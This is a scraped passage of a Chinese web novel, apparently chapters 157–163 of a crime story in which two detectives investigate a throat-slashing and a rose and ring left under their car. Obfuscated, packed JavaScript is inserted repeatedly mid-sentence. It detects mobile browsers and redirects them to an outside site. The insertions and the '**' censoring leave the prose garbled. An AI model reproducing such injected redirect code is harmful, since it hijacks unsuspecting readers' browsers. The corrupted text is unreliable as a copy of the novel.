鄂平成一个混黑的混不吝,喜欢一个女人,追了三年没追上,还在老老实实地追,没有巧取豪夺,这已经很不容易了。 本来,可能还会耐着性子继续追,但哥哥的逼婚,刺激了他。 鄂平成大概也觉得这话不好说,含糊道:“我使了点手段,梁柔终于答应和我处对象了。” 这手段,应该不是什么光彩的手段。 梁柔虽然已经不在了,但鄂平成还活着,楚隽又是个警察。 所以鄂平成也不愿意说太多,一来不是什么光彩的事情,二来,也怕楚隽秋后算账,细枝末节就想着都抹去了。 梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551087|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔的身上,倒是没有什么新伤旧伤的痕迹。那日安暖见到她身上手上也没有伤,鄂平成的逼迫,可能不是暴力的。但是鄂平成这样的人,想要逼迫一个姑娘家,太容易了。有无数种可以拿捏她的手段。 楚隽也不想追问这种细节,接着道:“听说你之前有挺多红颜知己,这些红颜知己里,有没有纠缠不清的?” 鄂平成认真的想一想。 缓缓摇头。 “没有。”鄂平成道:“虽然我是有一些女伴,但我心里只有梁柔一个,其他都是逢场作戏,玩玩罢了。她们也都知道,不会认真的。更何况我很大方,不会亏待她们,都……好聚好散。” 鄂平成这个回答让楚隽和安暖不太满意,但是他坚称。 并且表示可以将前女友整理出一个名单来交给警方,让警方一个一个地查。 当然他也可以查,只是怕查出来的他们不相信罢了。 鄂平成说到伤心处,喝了一杯酒。 说到伤心处,又喝了一杯酒。 这一个下午,颠三倒四地听鄂平成说了许多。开始还有条理,说着说着,就乱了。 有用的消息没弄来多少,鄂平成喝多了。 安暖看着趴在桌上的鄂平成,十分无语。 幸亏不是和这样的人搭档办事儿,不然的话,烦都要烦**。 鄂平成是诚心诚意来的,不过也带了两个小弟。 楚隽推了他一下,见他不动了,出门喊人。 “鄂平成喝多了,你们照顾吧。”楚隽说:“我们就先走了,如果有消息,会联系他。如果他有什么消息,也及时通知我。” 小弟连忙应着。 “走吧。”楚隽对安暖说:“回家。” 谁能想到呢,在这个年代,安暖还能有家可回。 楚隽甚至贴心地让酒店现做了几个菜打包,他们带回去当晚饭。非常时期,非必要不出门。 两人出了酒店,车停在一旁的巷子里,于是去取车。 走到了车边,楚隽突然道:“等一下。” 第158章 割喉,玫瑰和戒指 “怎么了?”安暖立刻停下了准备拉开车门的手并且丝滑的往后退了一步。 她的反应就是那么快。 楚隽不会无缘无故喊停万一是有什么发现呢? 楚隽同时伸出胳膊将她拦在自己身后。 “怎么了?”安暖低声道:“有什么发现。” 楚隽看向车底。 安暖也跟着看了过去。 车底有一块阴影。 这车是楚隽的他对这车比安暖要熟悉多了。什么地方是什么样的构造都一目了然。 这一块阴影是不应该存在的。 安暖立刻明白了楚隽的意思:“有人在车下塞了东西?” “有可能。”楚隽低声道:“跟我一起去打电话。” “好。” 楚隽伏下身子看了看但是只能看见隐约是个盒子其他的就看不清楚了。 什么用根棍子捅出来然后看看是什么东西这是不行的。 万一是易燃易爆物呢?这种险冒不得。 楚隽立刻去打了电话然后就和安暖在车边守着。 “有人趁我们去酒楼在车子底下放了东西?”安暖抱着胳膊:“看样子我们被人盯上了。” 楚隽点了点头神色阴沉。 他们是换了车出来还做了一些伪装的。这一路楚隽也一直在观察身后身前的情况确定没有人跟踪。 可对方还是找到了他们并且在车下塞了东西。 这简直是将他们的行踪都摸得清清楚楚叫人细思极恐。 这双盯着他们的眼睛到底在什么地方? 电话打出去过了一会儿就来了人。 和安暖想的一样全副武装的拆弹专家。 之所以他们不敢轻易动探查情况就是怕车下面的盒子里是**之类的东西。不但不能拽出来连碰都不能碰一不小心就要炸。 如果不是是其他的东西哪怕是再恶心吓人楚隽都没有什么可怕的。 都是认识的楚隽上去跟他们拆弹专家说了一下情况。 警戒线很快拉了起来在一定范围内要将所有人清理出现场免得排爆的时候有什么意外伤及无辜。 安暖也一直后退 楚隽也退了出来。 安暖抱着胳膊站在警戒线外心里盘算着。 对方有这么说神通广大吗?她和楚隽的行踪到底是怎么被发现的? 难道是鄂平成 做的? 可这不太可能,他们刚和鄂平成聊了一下午,鄂平成对他们确实没有敌意,并不觉得梁柔是他们杀的。 而且,鄂平成若是连放**这种事情都干得出来,那就是铁了心要他们的命了。 真要这么孤注一掷地想杀他们,今天下午有无数的办法。 不管不顾的时候,你谁都防不了。 鄂平成肯定能搞到枪,进门直接一人一枪,什么问题都解决了。困难的从来都不是**,而是善后。 拆弹专家很给力,很快就将车底下的盒子给取了出来,打开。 没有出现什么意外。 又将车检查了一遍,也没有发现动了什么手脚。 危机解除,安暖和楚隽连忙走了过去。 “老余,怎么样?楚隽道:“盒子里是什么? “楚队,里面没有危险物品。拆弹专家将盒子拿过来:“不过里面的东西……有点诡异。你看看,最近是不是得罪什么人了? 安暖都觉得心无波澜。 楚隽得罪人,这太正常了。一个刑警队长,没有得罪过的人才奇怪呢。 楚隽接过盒子,打开,变了脸色。 安暖也变了脸色。 这盒子里的东西,一点都不危险,但是很诡异。 鞋盒子一样大的纸盒里,有两样东西。 一样一目了然,是一朵玫瑰花。 红色的,火红火红,最艳丽的颜色,鲜嫩欲滴,新鲜的,上面还有水珠。 还有一个红色丝绒礼盒。 为了安全,礼盒已经被打开了,里面是一枚戒指。 黄金戒指,素圈,上面没有镶嵌宝石。 拆弹专家说:“盒子我们检查过了,里面只有这两件东西,没有夹层。 安暖看着这两样东西,只觉得心里一阵一阵的发凉。 之前她也觉得,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551088|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西是楚隽的仇人放在车下面。 要么是**,为了炸死楚隽。要么,是一些恐吓物品,什么刀子啊,死猫死狗死耗子啊,之类的。就是威胁恐吓用的。 这些都能理解。 万万没想到是玫瑰和戒指。 这两样东西是干什么用的?一般来说,是求婚用的。或者,是表白用的。 有人,想对楚隽表白? 安暖用一种狐疑的眼光看向楚隽,正好他也看过来。 两人的眼神对上,千言万语碰撞出火花。 你的玫瑰? 不,你的玫瑰。 安暖最终败下阵来。 好吧,她承认,这个盒子可能不是给楚隽的,而是给她的。 梁柔在临死前,说出了她的名字。 现在,车上又出现了玫瑰和戒指这种求爱意图非常明显的东西。 这两者很可能有某种联系。 梁柔只来得及说出个名字就**,谁又能猜出这个名字后面她想说的是什么?是有人要杀安暖,还是有人要追安暖。 当然这两者对安暖来说,同样可怕。 “除了你,还会有什么人给我送玫瑰和戒指呢?”安暖喃喃道:“我在京市总共也没认识几个人啊。手指头都掰的过来。” 高调追过她的,只有向浩然。 但这不可能是向浩然。 楚隽见安暖紧皱眉头,安慰她:“别害怕,有我呢。我们回一趟局里,这事情必须要跟**说清楚。” “好。” 越野全面检查过,也可以正常开。 楚隽倒是可以再换一辆车,可如果对方对他们的情况如此清楚,再换一辆也没有意义。 而且,对方怎么能对他们的情况如此清楚呢,就好像一直跟着他们,看着他们一样。 楚隽把盒子放在后座,打算上车回局里去。 正好,今天下午和鄂平成见面的情况,也要和江笑愚说一下,见面沟通更容易。 虽然他现在休假了,但是消息也要互通有无。 安暖依然上了副驾驶,但是心里有事儿,频频回头看向后座的盒子。 第159章 割喉,不同的香味 楚隽以为她是吓着了。 毕竟是个小姑娘又不是有几十年实战经验的资深刑侦人员碰到这么诡异的事情心里有点害怕也是正常的。 犹抱琵琶半遮面永远比直截了当更有杀伤力。 **是一声。 轰! 结束是死是伤落下帷幕。 但这一朵花一枚戒指却有种暗藏无限杀机的可能。 “暖暖。”楚隽腾出一只手搭在安暖手上轻声道:“别怕。” 安暖缓缓摇了摇头。 “不是我有个想法。” 安暖拿出自己的包 这也是职业病了不管去哪里包里都会装一双塑胶手套免得需要碰触证物的时候留下指纹。 于是楚隽就眼睁睁地看着安暖戴上手套转身从后座上拿过盒子。 楚隽不由地道:“怎么了?” 安暖没有回答打开盒子小心拿起玫瑰。 刚才那枚戒指他们已经大概研究了一下。 就是一枚普通的戒指黄金的素圈上面没有刻字。 如果有字还可以根据刻的字推测出是哪个牌子哪个店里的。但只是一个光圈还不是特别新这就很有可能是谁家的老物件查不出来历的。 安暖拿起那支花凑近鼻子闻了闻。 楚隽放慢速度:“这花你是不是有什么发现?” “花上有香味。”安暖说:“这花不是从花坛里摘的是从花店里买的。” 楚隽缓缓靠着路边停下车也凑过来闻了闻。 花儿上果然有香味虽然很淡靠近确实有。 “玫瑰花是有香味的但香味不会那么浓。花店里卖的花为了更香更美常规操作是喷香水。每一家花店喷的香水肯定不尽相同只要找出哪一家花店喷的是这种香水今天买了红玫瑰的人就有可能是凶手。” 楚隽眼前一亮。 小卖部满街都是花店不一样啊。 新鲜的切花在这个年代是一件奢侈的东西不能吃不能穿只是用来装饰而且用不了十天半个月就会枯萎。只有真的不缺钱的人才会买比如楚隽这种一个月买花的钱都不止普通人一个月的工资。 楚隽想了想:“我要是没记错我们家的花也没有味道。” 花店隔日会来送花每次不尽相同楚隽对花花草草没有特别喜欢也没有特别不喜欢但花瓶就放在餐桌上自然也会看到闻 到。确实没有特别的味道。 “那是我特别叮嘱花店的,给家里送的花,原汁原味就好,不必香味那么浓郁。安暖道:“现在查一下这附近有哪几家花店,一家家地过去看看。 在没有导航的年代,这也不是很简单的事情。 但对楚隽来说不难,这些花店都是正规经营有工商备案的,打电话查一下就行。 他找了个电话亭,去打电话。 过了一会儿回来,手里拿了个纸条,上面写着几个地址。 “市区里一共有五家花店。楚隽将纸条给安暖:“除了我们楼下那一家,还有四家,分布在不同地方。我们一家家的去找。 安暖看了看,每一家离的都挺远的,就算开车,没有几个小时也跑不下来。 不过乐观一点看,如果第一家就对了呢?那就不用跑第二家了。 楚隽规划了一下线路,从近到远,不走弯路。 第一家花店开在热闹的大街上,门口放着一排花,浇了水,鲜翠欲滴的。 两人进了店,老板娘是个穿着裙子的漂亮姐姐。 “欢迎光临。老板娘见来人了,便热情道:“两位要看买点什么,我们这里有新到的红玫瑰和向日葵。 楚隽走了过去,顺手拿了一旁一束向日葵。 “要这个。 也是有钱任性,对楚隽来说,问话这事情,掏钱比掏证件更容易。 老板一见楚隽掏钱那么爽快,心情十分好,利落的开始打包。 安暖正好捧过盒子:“老板,你看看这个,这花是不是从你们店里买的? 老板的手很灵巧,一边包装,一边看过来。 玫瑰花都差不多。 安暖将花凑过来:“你闻闻看这上面的香味儿,和你店里的香味儿一样吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安暖已经好像赏花一样,凑过去闻了闻架子上的一捧百合。 有些不确定,又闻了闻,然后转头看楚隽。 楚隽一看她这表情,立刻明白。 就是这里。 楚隽立刻道:“老板,你看看这朵花,是不是从你们花店里卖出去的?” 第160章 割喉,凶手的疯狂 老板疑惑地想要接过,但是楚隽的手避了一下,这朵花现在还是证物,不能让人乱碰。 老板只好凑过来看了看,又闻了闻。 “是……应该是,这花上的味道,确实和我们喷的香水一样。”老板说:“可能是从我们店买的吧。不过……我今天没见过你们。” “嗯,不是我们买的。”楚隽说:“老板,你回忆一下,今天有几个人在你们店里买过红玫瑰。” 应该不难,花店不是菜市场,每天进来的人是有限的。又是买的红玫瑰,现在又不是什么特殊节假日,未必有两三个。 老板想了想,说:“今天的话,一起有三个买红玫瑰的客人。上午有个年轻男人,买了十九只。下午,一个中年人,买了九支。晚上还有个年轻姑娘,没要包装买了十九支,应该是回去插花瓶的。” 三个人,果然不多。 按照他们的推测,凶手就在这三个人中。 楚隽道:“这三个人,你还能想起他们具体的样子来吗?” 让老板做个人脸拼图,要是能画出这三个人的脸来,那就真是踏破铁鞋无觅处,得来全不费工夫了。 可惜老板有些为难。 “这……恐怕有点难。他们都只是进来挑了花就走,我也不会一直盯着人看。要是再看见他们,说不定能认识,但是现在让我想,我实在想不出来……”老板有点不好意思:“说实话,我有点脸盲。一个人要见好几次才能认出来。” 脸盲,路痴,这两种病也是没有办法。 老板认不出客人,他们也没有办法。安暖只是很可惜,这个年代不流行三百六十度无死角监控,要不然的话,就不用那么费劲了。 但这一趟总算也没有白跑,在这三个嫌疑人中,年轻姑娘的可能性是最小的。 梁柔的歌喉上一刀毙命,非常利落,而且就刀口推断的凶手高度,这个人也有一米七五到一米八之间。老板确定在他这里买花的女顾客没有那么高,最多也就是一米六五。 另外两个男人不好估计,但应该都在这个高度范围内。 老板还举了个例子。 “我一米七八,如果比我矮很多,或者比我高很多,我都是有感觉的。他们俩的身高和我差不多,所以我觉得,应该也就在我这个范围内。” 年轻男人和中年男人。 如果他们是凶手,还有一点可以确定,他们长了一张大众脸。四肢和脸,都没有什么能叫人记住的特征。这种人作为凶手,最难找,丢在大街上,人群 里,看完就忘。 能问的都问得差不多了,楚隽给老板留了电话。 “如果想起来什么,或者是这两个人又来了,给我打电话。 老板拿着电话,有些不情愿。 “同志,你是……什么人。我们也不能透露客人的消息啊。” 这个时候钱就不好使了,还得是证件。 楚隽给老板看了证件。 老板立刻就答应了,并且表示,协助警察的工作,是他应该做的。 离开花店已经是七点半了,赶回警局已经快九点了。 幸亏从酒店打包了几个菜,两人也不矫情,就在路边的铺子里买了几个馒头。 在车上把菜都摆出来,就着馒头,凑合着吃一下。 当然酒店的菜味道是很好的,只是吃饭的环境凑合了一下。甚至为了不浪费时间,两人还轮流开车,换班吃,十分默契。 江笑愚还在警局没走,楚隽进去便将东西交给他。 “这事情越来越诡异了。”江笑愚说:“小安没事儿吧,今天吓着没有。” “没有。”安暖连忙说:“我没有事儿。” 江笑愚将一个文件夹递给楚隽:“楚队,我把这两样东西送去检验室,你看看这个。这是这两天我们对梁柔和鄂平成的调查。” 就算鄂平成对梁柔一往情深,他也依然洗脱不了嫌疑。 楚隽接过文件袋打开。 安暖也凑过去看。 看着看着,突然道:“这个地方,不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551090|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我们今天去的最后一家花店。” “对,就是那条路上的别墅区。” 都在松安路上,今天他们去的最后一家花店蜜语,就在松安路上。 “鄂家两兄弟,都在这个别墅区有房子啊。”安暖说:“看来这事情还是和他们有关系……难道说,凶手也住在别墅区里?” 从别墅区的花店,到今天他们约鄂平成谈话的酒店,按照正常的路线不绕路,就只有这一家花店。其他的几家都在很远的地方,无论如何是顺路不到的。 楚隽缓缓道:“我这一路也在想,凶手为什么这么神通广大,能精准的锁定我们俩的行踪。简直像是在我的车上装了眼睛一样。如今想想,他未必跟的是我们,也许,他跟的是鄂平成。” 这个人是鄂平成身边的人,所以知道鄂平成要跟他见面的消息。 他们最近警惕,有意隐藏行踪,但鄂平成没有,所以只要跟着鄂平成,自然就找到了他们。 这也不是临时决定的,是提前一天决定的,凶手完全可以早做准备。 “有道理。”安暖也觉得非常有理:“打电话给鄂平成,让他彻查他身边的人。这件事情跟他就是脱不了关系。” 也不用怕打草惊蛇。 这蛇已经不是冬眠的蛇了,是一条正在游动着的,仰着脑袋吐着信子,随时准备咬人的蛇。 既然如此,就要让蛇感到不安害怕,草木皆兵,逼他继续行动。 “这个人,从杀了梁柔开始,已经按捺不住了。”安暖道:“他杀梁柔之前,没有任何预兆,一击得手。但他要对付我,却因为暂时不能得手,而给了我警示。他停不下来了,逼他,他只会更疯狂。” 楚隽有一些担心。 他见过许多扭曲的,阴暗的,普通人无法想象的**。他们做出来的事情,叫人难以想象。 但这人一日不揪出来,也一日寝食不安。 “这段日子,你得寸步不离地跟着我。”楚隽说:”不管在家里,还是在外面。一直到找出这个人为止。” 第161章 割喉,失踪的哥哥 楚隽当下就给鄂平成打了电话过去,这情况不能全说,但也不能不说。 让他先去查一轮。 不管查出来查不出来,都可以让对方不安。 楚隽在和鄂平成说话的时候,安暖在回忆。 她在京市接触过的人很少,少到可以从第一天开始回忆。 安暖说:“这世上没有无缘无故的爱,也没有无缘无故的恨。这个人给我送花和戒指,偏爱的程度要多一些。他爱我,总得有个理由。退一步说,总要见过。” 安暖都已经不说相处过吧,她相处过的人就更少了,掰着手指头都能算过来,只说见过。不是马路上惊鸿一瞥的见过,而是在某个环境里见过,见过她的一些……比如行为,比如言语,比如特性,等等。 爱,总要有一个契机。 安暖一个场景,一个场景地写了出来。 医院勇斗歹徒,谢家晚宴机智解围,日落酒吧和混混对质……到底有哪一幕叫人神魂颠倒。 当写下日落酒吧的时候,安暖的手顿了顿。 她敲了敲黑板。 “日落酒吧。”安暖说:“那天晚上在包厢里,是鄂嘉荣的人。有十几个,都是他的手下。虽然当时我没有觉得任何人有什么不妥,但是……这是我来京市这段时间,唯一一次,和鄂家的人有来往的。” 第二次就是在商场遇到鄂平成和梁柔逛街,但那一次鄂平成没有带手下小弟,只有他和梁柔两个。而且,那一次鄂平成甚至没有进店,只有梁柔进店和她聊了两句。 如今凶手显露出来的,丝丝缕缕都显示和鄂平成有脱不了的关系,虽然那天都是鄂嘉荣的手下,但他们是兄弟俩,没有分家,他们身边的人,有互通也是正常。 楚隽道:“我给鄂嘉荣打电话,让他把那天去酒吧的所有人都找来。” 这就简单多了。 把这些人都找来,或者都拍个照片,再看看今天下午谁没有不在场证明。 再将这个人带去给花店老板看看,如果那么凑巧,正好有买红玫瑰的其中一个,那就毋庸置疑,就是他了。 “可是很奇怪,即便这个人是鄂嘉荣的手下,为什么要杀梁柔呢?”楚隽觉得,还是不太解释的通。 “谁知道呢,问问就知道。”安暖想的开:“正常人猜测凶手,一猜一个脑子不正常,咱们还是来点正常的。” 楚隽立刻就给鄂嘉荣打电话。 打的就是鄂嘉荣别墅里的电话。 接电话的是别墅里的佣人,一 听说要找鄂嘉荣,便说:“老板不在家。” “去哪儿了?” “这个我也不清楚。” 再问什么时候回来,也不知道。 这就奇怪了。 楚隽又打给鄂平成,鄂嘉荣也挺奇怪。这兄弟俩的感情真是塑料感情。 “我哥不在家吗?我也不知道啊。楚队你稍等,我来联系一下问一下。” 挂了电话等了一会儿,鄂平成很快又打了回来。 “问清楚了,他是出门了,说是去了外地。挺奇怪的,不知道去了哪里……我和我哥其实不是经常联系,他经常要出差的,出差也不会跟我说。一般都是他有什么事情才会找我,或者逢年过节,我们家的规矩,要在一起吃个饭,其他时候,我有事儿才会找他。” 鄂家兄弟家,哥哥对弟弟很照顾,但弟弟对哥哥,就这么回事儿吧。 大家都说,被偏爱的有恃无恐,鄂嘉荣就是偏爱这唯一的弟弟,随便他在外面花天酒地,花钱闹腾,除了闹腾的过火的时候训斥几句,再也没有什么限制。 这种爱到底是不是爱,大家各执一词。 安暖听见鄂嘉荣失踪的消息,第一个念头是畏罪潜逃。 但想想这不可能。 鄂嘉荣的身份,如果只是想杀一个梁柔,绝对有人去替他**,不会叫人查到他身上。何况今天的事情,显然这人不但在京市,还在身边,也没逃啊。 楚隽挂了鄂平成的电话,立刻又打了别的电话。 安暖不知道他是打给谁的,但是听见楚隽让对方去查一下鄂嘉荣最近的行踪。 顺便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551091|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再查一查鄂嘉荣身边的人。 那天在日落酒吧包厢里十几个人,互相之间应该都是认识的。既然找不到鄂嘉荣,找其他在包厢里的人也行。 鄂嘉荣失踪了,总不至于其他人都失踪了吧。 很快,江笑愚送了东西回来。 这事情,现在虽然千丝万缕都是疑点,但一时也没有进一步可以查的线索。 这一折腾,已经十点半了。 楚隽道:“这么晚了,**,要不你今晚也别回去了,折腾到半夜到家。去我那凑合一晚。” 三室套呢,还有一个多余的房间。 “好。” 江笑愚答应得非常爽快,显然楚隽那房子他没少蹭。一来一回,可以多睡两个小时呢,谁不愿意少跑点路。 进了三室套,江笑愚一打量。 “呦,楚队,你这房子和我上次来的时候,不一样了。” 楚隽随手放下包:“怎么不一样?” “有生活气息了。”江笑愚说:“竟然还有花儿……果然,有女主人的房子,就是不一样,更像是一个家了。” 门口鞋柜边,有粉红色毛茸茸的拖鞋。 沙发上,有几个可爱的抱枕。 餐桌上有鲜花。 桌上还多了一个可爱的水杯。 安暖虽然说是暂时住一下,但这几天也零零碎碎添了一些东西,都是小姑娘喜欢的东西,一看就不是楚隽的。 楚隽拍了江笑愚一下,让他别乱说。 “你住那个房间。”楚隽指了另一间客房:“我就住你隔壁,有事儿喊我。对了,家里有女同志,别光着膀子在外面走来走去啊。” “我知道我知道。”江笑愚对这儿熟悉得很。 安暖也很熟悉,正打算进屋去,突然听着有人敲门。 她顿时紧张起来。 她不是胆子小,但有个**给她送花,这搁在谁身上不害怕啊。 不过随后又觉得自己多虑了。 现在屋子里两个刑警呢,谁来也不怕。就是凶手来了,那也只能是自投罗网。 第162章 割喉,给你摸枪 楚隽应了一声,去开门。 他没有安暖那么胡思乱想,现在可是法制社会,这是京市市局边,家里还有两个刑警。 要是这都能出事,死活也是早晚的事情。 楚隽开了门,外面的人是他认识的。 安暖有些好奇的看着。 江笑愚听见敲门声,也从房间里出来了,站在门口往外看。 非常时期,总是要小心一点。 外面的人并没有进来,而是楚隽走出去一步,在门口和他说了几句话,不知道做了什么,就退了回来。 人走了,楚隽关上了门。 安暖忍不住道:“谁啊。 “哦,没事儿。楚隽说:“一个朋友。 明显有些敷衍,也明显不打算细说。 江笑愚没说什么,见没事儿了,便回房去休息了。 安暖也回了房间,不过楚隽跟了进来。 刚才他在检查房间的门窗,阳台的门窗。 他们这是三楼,这个楼层不高不低,普通人肯定是上不去的,但是对有些人,不算什么。至少楚隽就可以徒手攀爬上来,然后从窗户进入。 之前没想过凶手这么疯,如今觉得,还是要更小心一些。 楚隽进了房间,走到窗边,一边检查,一边说:“你这几天尽量不要靠近窗边,晚上把窗子关好……其实为了安全,最好是…… 最好是有人贴身保护。 但楚隽有点犹豫,他们俩睡一个房间,江笑愚又在,怕是对安暖的名声不好。 “好。 安暖不等楚隽说完,毫不犹豫便应了:“你说怎么安全就怎么办。 名声是名声,安全是安全,矫情是没有一点矫情的。 “好。楚隽道:“那我今晚在你房间打地铺。 安暖有点不好意思:“其实这是你房间,要不然,还是我打地铺吧。 这房子里铺的是木地板,这个季节地上铺床被子,除了硬一点,倒是不冷。 虽然他们之前在招待所睡过一张床,但那会儿坦坦荡荡的,这会儿确定了男女朋友的关系,反倒是不行了。 那会儿他们对彼此都保留着距离和分寸,就算睡一张床,也心无杂念。但现在睡一张床,难免想要靠近,靠的近了,难免生出事端。 凶手还在阴暗的角落里盯着呢,不能乱了分寸。 “能让你打地铺吗?楚隽头也不回:“你睡你的,我一会儿去隔壁把被子搬过来。 “哦,好。 安暖也不坚持。 楚隽检查完窗子走了过来,安暖顺口道:“对了,刚才那人找你干嘛,有什么事情吗?我能不能帮忙? 安暖也不是多爱管闲事的人,所以有这么一问。一来,多少还是有一点点好奇的。二来,如果楚隽有什么问题,她也想帮着解决问题,至少提供一些思路。 楚隽笑了一下,朝她招了招手。 “过来。 安暖奇怪地走了过去。 楚隽道:“伸手。 “嗯? 楚隽道:“给你摸个东西。 听起来有点奇怪。 但安暖还是伸出了手。 楚隽握住了她的手腕,引导着往自己的后腰带。 安暖愣了一下,低声道:“你干嘛? 这个节骨眼上,耍流氓吗?男女朋友也不合适啊,江笑愚还在隔壁房间呢,楚隽也不是那么不知轻重的人。 楚隽不说话,但是手上的力气一点儿不卸。 安暖的力气怎么可能跟楚隽抗衡,她被拽得有些站不稳,往前扑了一步,被楚隽搂住。 “别闹。安暖拍了拍他:“楚队长,你的成熟稳重呢? 人设要崩了啊。 “没闹。楚隽已经握着安暖的反手按在自己的腰上。 好腰。 安暖虽然还没有机会,没好意思特别仔细地摸过,但是惊鸿一瞥的看过。 不过此时,她摸到一个硬邦邦的,熟悉的东西。 安暖猛地睁大了眼睛,愕然抬头看着楚隽。 楚隽笑了一下。 “嘘。楚隽说。 安暖表情复杂地点了点头。 楚隽放开手。 “去洗漱吧。楚隽说:“我也去隔壁洗澡。 安暖心里七上八下的,拿着换洗衣服去了浴室。 楚隽后腰上,是枪。 她非常熟悉的形状和硬度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551092|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚隽日常是可以配枪的,第一次见面的时候,她就是看出楚隽有配枪,猜出了他的身份决定求救。但现在他在休假,何况是因为回避案件休假,枪是要上缴的。 但这个年代**管理没有那么严格,楚隽这样的身份,私下要弄把枪应该不难。 刚才的人,应该就是来送枪的。 这人杀了梁柔,又给安暖送了玫瑰花,在楚隽心里危险上升了不止一个级别,必须要随身带点武器防身了。 但这事情只能意会,不可言 传。 江笑愚就在隔壁,不知道他知道不知道,反正当做不知道就行。 先去洗漱。 等她洗漱好,换了睡衣出来,楚隽已经将地铺打好了。 “睡吧。”楚隽躺在自己的地铺里:“别怕。” 安暖默默爬上了床,钻进被窝,平平整整的躺下,两手交握,搭在肚子上。 这优美的睡姿,任由谁看了不说一声,这人肯定没睡着。 第二天一早,江笑愚就回去上班了。 他昨天和楚隽商议了一下,梁柔自身很难招惹上这么厉害的人,最可疑的,还是鄂家的人。这种又能**,还神不知鬼不觉的角色,有些专业了。 刑警队可以明着查鄂家的人,带人上门直接问就好。 楚隽不好明着参与,但是可以暗中查。 江笑愚走后,楚隽也就起来了。 安暖去餐厅吃早饭的时候,就听见他在打电话。 “嗯,要几个人,身手好厉害的,我碰上一点麻烦。” 安暖愕然的看着,有些恍惚。 楚隽这样子,可不像是正义凛然的刑警队长啊,他休假之间这么放飞自我,领导知道吗?局里的人知道吗?要是被知道了,以后还好回去上班吗? 安暖可不想因为自己这事情,让楚隽走偏了路子。 等楚隽放下电话,安暖赶紧道:“楚隽,你找人来帮忙吗?” “对。” “找的什么人?你……可别走歪路啊。” 楚隽走过来,从安暖手里抢下啃了一口的面包片。 “你想太多了,我可不敢走歪路,会被爷爷打死的。” 第163章 割喉,你有兄弟我有保镖 安暖安心一点:“那你找的什么人?” 听起来像是**召唤打手一样。 “保镖啊。”楚隽说:“一个朋友开的安保公司有一帮厉害员工其中有几个是退伍兵身手很不错。我雇他们这几天跟着我们安全一点。我会付钱的。” 请保镖 而且促进消费。 安暖松了一口气。 这样挺好不管是不是真的保镖反正以保镖之名就名正言顺。 不过她看了看屋子:“那些保镖要住到这里来吗?” “不用只是出门的时候带着。”楚隽说:“今天我打算去见一个人。” “见什么人?” “鄂嘉荣的手下一个叫宋睿的。”楚隽说:“他是鄂嘉荣的亲信那天在包厢里我看见他了。鄂嘉荣身边的人他应该都知道我想问问他那天到底有没有什么不得了的人在场。” “好。”安暖道:“我也去。” 楚隽点点头不意外也没觉得有什么不妥。 他要出门安暖一个人在家里待着更不放心还不如带在身边。对方虽然有备而来但他也是有备而去。 而且对方看着来势汹汹其实是不敢光明正大上**人的要不然的话根本就不用做这些畏畏缩缩的小动作。 比如向浩然虽然这个比喻有点奇怪但是可以参考一下。送花送礼物那都是光明正大的不必躲在阴暗处甚至恨不得全世界都知道才好。 吃了饭两人出门楚隽果然请了保镖。 